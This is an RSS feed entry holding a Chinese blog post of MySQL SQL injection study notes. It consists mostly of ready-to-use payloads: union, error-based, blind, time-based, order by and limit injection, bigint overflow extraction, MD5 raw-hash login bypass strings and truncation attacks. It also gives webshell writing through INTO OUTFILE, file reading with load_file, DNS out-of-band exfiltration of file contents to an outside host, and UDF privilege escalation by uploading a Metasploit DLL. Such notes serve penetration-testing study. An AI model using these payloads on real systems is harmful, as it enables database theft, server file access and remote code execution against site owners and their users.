<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>syst1m &#8211; ChaBug安全</title>
	<atom:link href="/tags/syst1m/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 22 Nov 2019 12:07:47 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Mysql注入学习笔记</title>
		<link>/web/1057.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Fri, 22 Nov 2019 12:07:47 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[syst1m]]></category>
		<guid isPermaLink="false">/?p=1057</guid>

					<description><![CDATA[MYSQL注入 函数 version()——MySQL 版本 user()——数据库用户名 database()——数据库名 @@datadir——数据库路径 @@version_...]]></description>
										<content:encoded><![CDATA[<h1>MYSQL注入</h1>
<h3>函数</h3>
<p>version()——MySQL 版本<br />
user()——数据库用户名<br />
database()——数据库名<br />
@@datadir——数据库路径<br />
@@version_compile_os——操作系统版本<br />
information_schema 自带数据库<br />
information_schema.schemata 数据库<br />
information_schema.tables 数据表<br />
information_schema.columns 数据列<br />
floor函数返回小于等于该值的最大整数<br />
RAND()函数调用可以在0和1之间产生一个随机数<br />
join(连接)</p>
<h2>联合注入</h2>
<pre><code class="">union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
</code></pre>
<h2>报错注入：</h2>
<pre><code class="">rand()
</code></pre>
<p><img src="/wp-content/uploads/2019/11/5dcbf1df8e0e2e3ee9eb629e.jpg" alt="" /></p>
<pre><code class="">floor()
</code></pre>
<p><img src="https://pic.superbed.cn/item/5dcbf31c8e0e2e3ee9eb8939.jpg" alt="" /></p>
<pre><code class="">and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

and (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2))) -- +
</code></pre>
<pre><code class="">1' and updatexml(1,user(),1) --+
只有在payload返回的不是xml格式才会生效,其最长输出32位
</code></pre>
<pre><code class="">extractvalue(1,concat('~',user(),'~'))
其最长输出32位
</code></pre>
<p>简化</p>
<pre><code class="">select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
</code></pre>
<p>关键表被禁用</p>
<pre><code class="">select count(*) from (select 1 union select null union
select !1)a group by concat(version(),floor(rand(0)*2))
</code></pre>
<p>rand 禁用</p>
<pre><code class="">select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
</code></pre>
<p>exp</p>
<pre><code class="">select exp(~(select * FROM(SELECT USER())a))
</code></pre>
<p>mysql重复性</p>
<pre><code class="">select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
</code></pre>
<h2>布尔注入</h2>
<pre><code class="">left(database(),1)&amp;gt;'s'

截取数据库第一位
</code></pre>
<pre><code class="">ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+
</code></pre>
<pre><code class="">substr(a,b,c) 从b位置开始，截取字符串a的c长度
</code></pre>
<pre><code class="">ascii() 将某个字符转为ascii值
</code></pre>
<pre><code class="">ascii(substr(select database()),1,1)=98
</code></pre>
<pre><code class="">ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))&gt;98%23
</code></pre>
<pre><code class="">mid(a,b,c) 从位置b开始，街区a字符床的c位
</code></pre>
<pre><code class="">ord()同ascii()，将字符串转为ascii值
</code></pre>
<h2>regexp 正则注入</h2>
<pre><code class="">select user() regexp '^[a-z]';

select user() regexp '^ro'

I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

</code></pre>
<h2>like 匹配注入</h2>
<pre><code class="">select user() like 'root%'
</code></pre>
<h2>延时注入</h2>
<pre><code class="">If(ascii(substr(database(),1,1))&gt;115,0,sleep(5))%23

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
</code></pre>
<h2>导入导出操作</h2>
<pre><code class="">load_file()导出文件

Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) 
Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\boot.ini) Explain:路径里的/用 \代替

</code></pre>
<h2>Mysql False注入</h2>
<p>==遇到引号闭合的变量时==</p>
<pre><code class="">如果两个参数比较，有至少一个NULL，结果就是NULL，除了是用NULL&lt;=&gt;NULL 会返回1。不做类型转换
---------------------------------------------
两个参数都是字符串，按照字符串比较。不做类型转换
---------------------------------------------
两个参数都是整数，按照整数比较。不做类型转换
---------------------------------------------
如果不与数字进行比较，则将十六进制值视为二进制字符串。
---------------------------------------------
有一个参数是 TIMESTAMP 或 DATETIME，并且另外一个参数是常量，常量会被转换为时间戳
---------------------------------------------
有一个参数是 decimal 类型，如果另外一个参数是 decimal 或者整数，会将整数转换为 decimal 后进行比较，如果另外一个参数是浮点数，则会把 decimal 转换为浮点数进行比较
---------------------------------------------
所有其他情况下，两个参数都会被转换为浮点数再进行比较
---------------------------------------------
最后那一句话很重要，说明如果我是字符串和数字比较，需要将字符串转为浮点数，这很明显会转换失败
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hd954de6df5e641a39cdcfa050f7215fdo.jpg" alt="" /></p>
<h3>算数运算</h3>
<ul>
<li>+</li>
</ul>
<pre><code class="">username= 'admin'+(payload)
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H523d3e670d5f4d478d0aa8beedcd466fq.jpg" alt="" /><br />
&#8211; &#8211;</p>
<pre><code class="">username ='admin'--(payload)
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hdfa18fd2209742f0876b82770d7f8809i.jpg" alt="" /><br />
&#8211; *</p>
<pre><code class="">username ='1abc'* (payload)
</code></pre>
<ul>
<li>/</li>
</ul>
<pre><code class="">username ='1abc'/ (payload)
</code></pre>
<pre><code class="">1’-(ascii(mid((passwd)from(n)))=m)-’ 

正常的用法如下，对于str字符串，从pos作为索引值位置开始，返回截取len长度的子字符串

MID(str,pos,len)
这里的用法是，from(1)表示从第一个位置开始截取剩下的字符串，for(1)表示从改位置起一次就截取一个字符

mid((str)from(i))
mid((str)from(i)for(1))

</code></pre>
<h3>位运算</h3>
<ul>
<li>&amp;</li>
</ul>
<pre><code class="">username='1abc'&amp;(payload)
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H061891db89194f2cb36ec7f1792dbcc8u.jpg" alt="" /></p>
<ul>
<li>|  或</li>
<li>^  异或</li>
<li>&#8216;&lt;&gt;0# 移位操作</li>
</ul>
<p>###逻辑运算<br />
&#8211;  不等于</p>
<pre><code class="">username='admin'&lt;&gt;(payload)
</code></pre>
<ul>
<li>= 等于</li>
</ul>
<pre><code class="">username='admin'=(payload)
</code></pre>
<h3>其他</h3>
<pre><code class="">'+1 is not null#  
'in(-1,1)#  
'not in(1,0)#  
'like 1#  
'REGEXP 1#  
'BETWEEN 1 AND 1#  
'div 1#  
'xor 1#  
'=round(0,1)='1  
'&lt;&gt;ifnull(1,2)='1
</code></pre>
<h2>Mysql 无列名注入</h2>
<pre><code class="">select * from users
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hc656c2e1dd0348dd96806231e537cbdfj.jpg" alt="" /></p>
<pre><code class="">select 1,2,3 union select * from users;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H7c76e69fb778415691ea95d325c2e513j.jpg" alt="" /></p>
<pre><code class="">select `2` from (select 1,2,3 union select * from users)redforce;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hee222a2322e842c4824ece7eff8f97459.jpg" alt="" /></p>
<pre><code class="">select * from users where id=-1 union select 1,(select concat(`2`,0x3a,`3`) from (select 1,2,3 union select * from users)a limit 1,1),3;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H639f71bf43fd4ae4ac0adc2f334b18beF.jpg" alt="" /></p>
<h3>查询几个字段数目</h3>
<pre><code class="">select * from (select 1)a,(select 2)b,(select 3 )c union select * from users
</code></pre>
<h2>Mysql order by 注入</h2>
<h3>union 注入</h3>
<pre><code class=""> select * from users
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hbf916d7115744ff2aa40779d50203ae6o.jpg" alt="" /></p>
<pre><code class="">select * from users union select 1,2,3 order by 3
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H92f72960280148b5969f9c7ed062ca158.jpg" alt="" /></p>
<pre><code class="">select * from users union select 1,2,'admin' order by 3
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hf8b6f976db9044a994034dd6eb80a16b9.jpg" alt="" /></p>
<pre><code class="">select * from users union select 1,2,'adminaa' order by 3
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H89eb2047bb3b49cabdeb83b17b33515fq.jpg" alt="" /></p>
<h3>if盲注</h3>
<ul>
<li>需要知道列名</li>
</ul>
<pre><code class="">order by if(1=1,id,username)
</code></pre>
<ul>
<li>不需要知道列名</li>
</ul>
<pre><code class="">order by if(表达式,1,(select id from information_schema.tables))
</code></pre>
<p>==如果表达式为false时，sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误，导致查询内容为空，如果表达式为true是，则会返回正常的页面。==</p>
<h3>基于时间的盲注</h3>
<pre><code class="">order by if(1=1,1,sleep(1))
</code></pre>
<h3>基于rand()的盲注</h3>
<pre><code class="">select * from ha order by rand(true)
</code></pre>
<p>mysql&gt; select * from ha order by rand(true);<br />
+&#8212;-+&#8212;&#8212;+<br />
| id | name |<br />
+&#8212;-+&#8212;&#8212;+<br />
|  9 | NULL |<br />
|  6 | NULL |<br />
|  5 | NULL |<br />
|  1 | dss  |<br />
|  0 | dasd |<br />
+&#8212;-+&#8212;&#8212;+<br />
mysql&gt; select * from ha order by rand(false);<br />
+&#8212;-+&#8212;&#8212;+<br />
| id | name |<br />
+&#8212;-+&#8212;&#8212;+<br />
|  1 | dss  |<br />
|  6 | NULL |<br />
|  0 | dasd |<br />
|  5 | NULL |<br />
|  9 | NULL |<br />
+&#8212;-+&#8212;&#8212;+</p>
<pre><code class="">order by rand(ascii(mid((select database()),1,1))&amp;gt;96)
</code></pre>
<h3>步骤</h3>
<ul>
<li>判断</li>
</ul>
<pre><code class="">http://192.168.239.2:81/?order=IF(1=1,name,price) 通过name字段排序
http://192.168.239.2:81/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过price字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,price) 通过name字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,name) 通过price字段排序
可以观测到排序的结果不一样

http://192.168.239.2:81/?order=rand(1=1) 
http://192.168.239.2:81/?order=rand(1=2)
</code></pre>
<pre><code class="">/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))  正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
</code></pre>
<p><strong>regexp 用前面的1和后面的返回结果比较</strong></p>
<blockquote>
<blockquote><p>
    https://www.cnblogs.com/icez/p/Mysql-Order-By-Injection-Summary.html
  </p></blockquote>
</blockquote>
<h2>limit 注入</h2>
<h3>不存在order by 关键字</h3>
<pre><code class="">select id from users limit 0,1
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hdd54f086a82b4fe9b8f442f083fae738k.jpg" alt="" /></p>
<pre><code class="">select id from users limit 0,1 union select username from users;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/He5036eef04164ef38d83d2b95b3186afJ.jpg" alt="" /></p>
<h3>存在 order by 关键字（无法使用union select）</h3>
<p><img src="https://ae01.alicdn.com/kf/H77658e82a26349239eb92e51c28b1f16d.jpg" alt="" /></p>
<p><strong>此方法适用于5.0.0&lt; MySQL &lt;5.6.6版本</strong></p>
<pre><code class="">PROCEDURE函数
</code></pre>
<ul>
<li>报错注入</li>
</ul>
<pre><code class="">select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H58f5c6058f644d28b34a17e3a4b97189e.jpg" alt="" /></p>
<ul>
<li>延时注入</li>
</ul>
<pre><code class="">select * from admin where id &amp;gt;0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);
</code></pre>
<h2>报错注入邂逅load_file&amp;into outfile搭讪LINES</h2>
<pre><code class="">FIELDS TERMINATED BY原理为在输出数据的每个字段之间插入webshell内容，所以如果select返回的只有一个字段，则写入的文件不包含webshell内容,例如下面语句SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e，写入的文件中只包含username的值而没有webshell内容;

LINES TERMINATED BY和LINES STARTING BY原理为在输出每条记录的结尾或开始处插入webshell内容，所以即使只查询一个字段也可以写入webshell内容，更为通用。此外，该类方式可以引用于limit等不能union的语句之后进行写文件操作。
</code></pre>
<h3>into outfile 写文件</h3>
<ul>
<li>union写文件</li>
</ul>
<pre><code class="">SELECT * FROM user WHERE id = -1 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'D:/1.php'
</code></pre>
<ul>
<li>FIELDS TERMINATED BY（可在limit等语句后）</li>
</ul>
<pre><code class="">SELECT * FROM user WHERE id = 1 into outfile 'D:/1.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e
</code></pre>
<ul>
<li>LINES TERMINATED BY（可用于limit等sql注入）</li>
</ul>
<pre><code class="">SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
</code></pre>
<ul>
<li>LINES STARTING BY（可用于limit等sql注入）</li>
</ul>
<pre><code class="">SELECT username FROM user WHERE id = 1 into outfile 'D:/2.php' LINES STARTING  BY 0x3c3f70687020706870696e666f28293b3f3e
</code></pre>
<p>###Load_file 读文件</p>
<ul>
<li>联合注入+load_file读文件</li>
</ul>
<pre><code class="">SELECT * FROM user WHERE id=-1 UNION select 1,'1',(select load_file('D:/1.php'))
</code></pre>
<ul>
<li>DNSLOG带外查询</li>
</ul>
<pre><code class="">SELECT id FROM user WHERE id = load_file (concat('\\',hex((select load_file('D:/1.php'))),'.t00ls.xxxxxxxxx.tu4.org\a.txt'))
</code></pre>
<ul>
<li>报错注入+load_file读文件</li>
</ul>
<pre><code class="">select * from user  where username = '' and updatexml(0,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)

select * from user where id=1 and (extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e)))
</code></pre>
<h3>扫描文件是否存在</h3>
<p><strong>load_file读取文件时，如果没有对应的权限获取或者文件不存在则函数返回NULL,所以结合isnull+load_file可以扫描判断文件名是否存在</strong></p>
<ul>
<li>如果文件存在，isnull(load_file(&#8216;文件名&#8217;))返回0</li>
</ul>
<pre><code class="">mysql&amp;gt; select * from user  where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'
</code></pre>
<ul>
<li>如果文件不存在isnull(load_file(&#8216;文件名&#8217;))返回1</li>
</ul>
<pre><code class="">mysql&amp;gt; select * from user  where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/xxxxx')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'
</code></pre>
<h3>另类写文件</h3>
<pre><code class="">SELECT ... INTO DUMPFILE'file_path'
</code></pre>
<h2>笛卡尔积延时注入</h2>
<pre><code class="">SELECT count(*) FROM information_schema.columns A;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H09e769a89c554836b70373d8130134dcz.jpg" alt="" /></p>
<pre><code class="">SELECT count(*) FROM information_schema.columns A,information_schema.columns B,information_schema.columns C;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H9f13bf0489a44c8082990a77ec0c2f860.jpg" alt="" /></p>
<h2>Insert、update注入新思路</h2>
<p><img src="https://ae01.alicdn.com/kf/H114a5a2796b24ecc8b1c1c4dccf67ba9d.jpg" alt="" /></p>
<p><img src="https://ae01.alicdn.com/kf/H9fc23bdd0b5844c5a41c58e5fed8bd04z.jpg" alt="" /></p>
<p><img src="https://ae01.alicdn.com/kf/H4ec8fc2b48de4ee7bf8cf45799d7094cU.jpg" alt="" /></p>
<p><img src="https://ae01.alicdn.com/kf/H256914b5da104dd389f6ce29272ea01cc.jpg" alt="" /><br />
&#8211; 字符串《==》数字</p>
<pre><code class="">conv() 进制转换
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H6b4a6c0c17d74944a2bf8a056538ec50d.jpg" alt="" /></p>
<ul>
<li>获取的数据超过8个字节</li>
</ul>
<pre><code class="">select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H044f3ecd33044adaaa3f383b63b5a8c6u.jpg" alt="" /></p>
<ul>
<li>获取表名</li>
</ul>
<pre><code class="">select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hf9f39a2e0b7747ecb685de22873634943.jpg" alt="" /></p>
<ul>
<li>获取列名</li>
</ul>
<pre><code class="">select conv(hex(substr((select column_name from information_schema.columns where table_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
</code></pre>
<ul>
<li>利用update语句</li>
</ul>
<pre><code class="">update users set username = 'test' | conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10) where id =16
</code></pre>
<ul>
<li>利用 INSERT语句</li>
</ul>
<pre><code class="">insert into users values (17,'james', 'bond');
</code></pre>
<pre><code class="">insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);
</code></pre>
<ul>
<li>Mysql 5.7中的限制</li>
</ul>
<pre><code class="">update users set username = '0' | conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10) where id =16
</code></pre>
<ul>
<li>编码解码</li>
</ul>
<pre><code class="">conv(hex(value, 16, 10)
</code></pre>
<pre><code class="">select unhex(conv(value, 10, 16));
</code></pre>
<h2>mysql大整数溢出报错</h2>
<p><img src="https://ae01.alicdn.com/kf/H6addec488706403da224e768cfb174028.jpg" alt="" /></p>
<ul>
<li>获取表名</li>
</ul>
<pre><code class="">!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0
</code></pre>
<ul>
<li>获取列名</li>
</ul>
<pre><code class="">select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;
</code></pre>
<ul>
<li>检索数据</li>
</ul>
<pre><code class="">!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;
</code></pre>
<ul>
<li>一次获取全部表与列</li>
</ul>
<pre><code class="">!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0

(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hd1abddb9c8ba4f59a89fc03c39f8dd67b.jpg" alt="" /></p>
<blockquote>
<blockquote>
<blockquote class="wp-embedded-content" data-secret="meIutF4Jfm"><p><a href="https://osandamalith.com/2015/07/08/bigint-overflow-error-based-sql-injection/">BIGINT Overflow Error Based SQL Injection</a></p></blockquote>
<p><iframe title="&#8220;BIGINT Overflow Error Based SQL Injection&#8221; &#8212; 🔐Blog of Osanda" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" src="https://osandamalith.com/2015/07/08/bigint-overflow-error-based-sql-injection/embed/#?secret=meIutF4Jfm" data-secret="meIutF4Jfm" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
  </p></blockquote>
</blockquote>
<h2>MD5哈希注入</h2>
<ul>
<li>代码中语句</li>
</ul>
<pre><code class="">$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
</code></pre>
<p><strong>如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。</strong></p>
<pre><code class="">ffifdyop    --&amp;gt; 'or'

esvh        --&amp;gt; '='

129581926211651571912466741651878684928 --&amp;gt; 'or'
</code></pre>
<blockquote>
<blockquote><p>
    https://bbs.ichunqiu.com/article-1766-1.html
  </p></blockquote>
</blockquote>
<h2>show columns 注入</h2>
<ul>
<li>php代码</li>
</ul>
<pre><code class="">mysql_query("show columns from `shop_{$table}`") or die("show coulumns 出错:".mysql_error());
show columns 
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H47673f9ce5214b6794f8a3f52cf6885aE.jpg" alt="" /></p>
<ul>
<li>注入</li>
</ul>
<pre><code class="">table=123` where updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H47673f9ce5214b6794f8a3f52cf6885aE.jpg" alt="" /></p>
<h2>MySQL数据库的Innodb引擎的注入</h2>
<p><strong>当目标程序过滤了关键字,如information,在注入时,使用select database()关键字查询出当前库名后,无法通过查询information_schema.tables表查询当前库的表名</strong></p>
<ul>
<li>Innodb 的表</li>
</ul>
<pre><code class="">mysql.innodb_table_stats
mysql.innodb_index_stats
</code></pre>
<ul>
<li>字段</li>
</ul>
<pre><code class="">database_name ， table_name 
</code></pre>
<ul>
<li>例子：</li>
</ul>
<pre><code class="">group_concat(table_name) from mysql.innodb_table_stats where database_name =database() #
</code></pre>
<h2>Mysql约束攻击</h2>
<ul>
<li>参考</li>
</ul>
<blockquote>
<blockquote><p>
    http://www.goodwaf.com/2016/12/30/%E5%9F%BA%E4%BA%8E%E7%BA%A6%E6%9D%9F%E6%9D%A1%E4%BB%B6%E7%9A%84SQL%E6%94%BB%E5%87%BB/
  </p></blockquote>
</blockquote>
<ul>
<li>条件限制</li>
</ul>
<pre><code class="">服务端没有对用户名长度进行限制
登陆验证的SQL语句必须是用户名和密码一起验证
验证成功后返回的必须是用户传递进来的用户名，而不是从数据库取出的用户名
</code></pre>
<ul>
<li>攻击原理</li>
</ul>
<pre><code class="">INSERT截断:当设计一个字段时，我们都必须对其设定一个最大长度，比如CHAR(10)，VARCHAR(20)等等。但是当实际插入数据的长度超过限制时，数据库就会将其进行截断，只保留限定的长度。
</code></pre>
<pre><code class="">在数据库对字符串进行比较时，如果两个字符串的长度不一样，则会将较短的字符串末尾填充空格，使两个字符串的长度一致，比如，字符串A:[String]和字符串B:[String2]进行比较时，由于String2比String多了一个字符串，这时MySQL会将字符串A填充为[String ]，即在原来字符串后面加了一个空格，使两个字符串长度一致。
</code></pre>
<ul>
<li>服务端代码</li>
</ul>
<pre><code class=""> 0){
      return $username;//此处较原文有改动
  }
}
return Null;
?&amp;gt;
</code></pre>
<ul>
<li>攻击</li>
</ul>
<pre><code class="">注册一个[Dumb          done]的用户
</code></pre>
<h2>MySQL列名重复 报错</h2>
<ul>
<li>Example</li>
</ul>
<pre><code class="">select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hc338c81da5b44512a8d83913d13de0abP.jpg" alt="" /></p>
<ul>
<li>join函数爆列名</li>
</ul>
<pre><code class="">select *  from(select * from users a join users b)c;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H8c2e81af91f444d9be000a9c77825fe1J.jpg" alt="" /></p>
<pre><code class="">select *  from(select * from users a join users b using(id))c;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Ha11dd656262249bc97ccf3e572bf7a60h.jpg" alt="" /></p>
<ul>
<li>爆数据</li>
</ul>
<pre><code class="">select * from (select * from users a join users b using(id,username,password))c;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/He4e632e6a2004cc8a33366706ade2d70g.jpg" alt="" /></p>
<ul>
<li>关于 join参考</li>
</ul>
<blockquote>
<blockquote><p>
    http://wxb.github.io/2016/12/15/MySQL%E4%B8%AD%E7%9A%84%E5%90%84%E7%A7%8Djoin.html
  </p></blockquote>
</blockquote>
<h2>MySQL UDF Exploitation</h2>
<blockquote>
<blockquote>
<blockquote class="wp-embedded-content" data-secret="mDOvp2F9uz"><p><a href="https://osandamalith.com/2018/02/11/mysql-udf-exploitation/">MySQL UDF Exploitation</a></p></blockquote>
<p><iframe title="&#8220;MySQL UDF Exploitation&#8221; &#8212; 🔐Blog of Osanda" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" src="https://osandamalith.com/2018/02/11/mysql-udf-exploitation/embed/#?secret=mDOvp2F9uz" data-secret="mDOvp2F9uz" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
  </p></blockquote>
</blockquote>
<pre><code class="">select host, user, password from mysql.user;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H1c9d1a119ac74ac9b717c68f51c39e32g.jpg" alt="" /></p>
<pre><code class="">select * from mysql.user where user = substring_index(user(), '@', 1) ;
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H35f812e965b942b9b16a989feea063dbw.jpg" alt="" /></p>
<ul>
<li>dll下载地址</li>
</ul>
<pre><code class="">https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
</code></pre>
<ul>
<li>获取当前操作系统以及数据库架构情况</li>
</ul>
<pre><code class="">select @@version_compile_os, @@version_compile_machine

show variables like '%compile%';
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H30985732ca5b411aa9bb4040986853d3S.jpg" alt="" /></p>
<ul>
<li>查找plugin文件夹</li>
</ul>
<p><strong>MySQL 5.0.67以后udf.dll必须位于plugin文件夹</strong></p>
<pre><code class="">select @@plugin_dir ;
show variables like 'plugin%';
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/Hebbbdd52841e4b1e800770ad9e381e8fW.jpg" alt="" /></p>
<ul>
<li>旧版本可以使用目录</li>
</ul>
<pre><code class="">@@datadir
@@basedirbin
C:windows
C:windowssystem
C:windowssystem32
</code></pre>
<h3>上传二进制文件</h3>
<ul>
<li>网络共享</li>
</ul>
<pre><code class="">select load_file('\\192.168.0.19\network\lib_mysqludf_sys_64.dll') into dumpfile "D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\udf.dll";
</code></pre>
<ul>
<li>十六进制编码</li>
</ul>
<pre><code class="">select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\udf.dll";
</code></pre>
<ul>
<li>创建表拼接</li>
</ul>
<pre><code class="">create table temp(data longblob);

insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);

update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);

select data from temp into dump file "D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\udf.dll";
</code></pre>
<ul>
<li>MySQL 5.6.1/MariaDB 10.0.5</li>
</ul>
<p><strong>to_base64和from_base64函数</strong></p>
<pre><code class="">select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.b64';
</code></pre>
